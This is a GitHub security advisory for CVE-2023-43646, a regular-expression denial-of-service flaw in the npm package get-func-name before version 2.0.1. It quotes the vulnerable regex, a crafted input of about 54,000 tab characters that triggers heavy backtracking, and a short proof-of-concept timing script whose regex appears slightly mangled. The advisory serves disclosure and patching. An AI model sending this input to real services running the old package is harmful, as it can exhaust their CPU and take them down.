GitHub Advisoryadvisory · npm

GHSA-4q6p-r6v2-jvc5 Chaijs/get-func-name vulnerable to ReDoS

HIGH Published 2023-09-27 Modified 2023-10-02 Official page ↗
Aliases
CVE-2023-43646
Ecosystem
npm
Packages
get-func-name
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-1333, CWE-400
Reviewed
2023-09-27

Affected packages

• npm get-func-name: < 2.0.1 → fixed in 2.0.1

Description

The current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks. The regex implementation in question is as follows: ```js const functionNameMatch = /\s*function(?:\s|\s*\/\*[^(?:*/)]+\*\/\s*)*([^\s(/]+)/; ``` This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input: ```js '\t'.repeat(54773) + '\t/function/i' ``` Here is a simple PoC code to demonstrate the issue: ```js const protocolre = /\sfunction(?:\s|\s/*[^(?:*\/)]+*/\s*)*([^\(\/]+)/; const startTime = Date.now(); const maliciousInput = '\t'.repeat(54773) + '\t/function/i' protocolre.test(maliciousInput); const endTime = Date.now(); console.log("process time: ", endTime - startTime, "ms"); ```

Related

Alias · CVE (1)

  • CVE-2023-43646 get-func-name is a module to retrieve a function's name securely and consistently both in NodeJS and the browser. vulnerability

Weakness · CWE (2)

  • CWE-1333 Inefficient Regular Expression Complexity weakness
  • CWE-400 Uncontrolled Resource Consumption weakness

References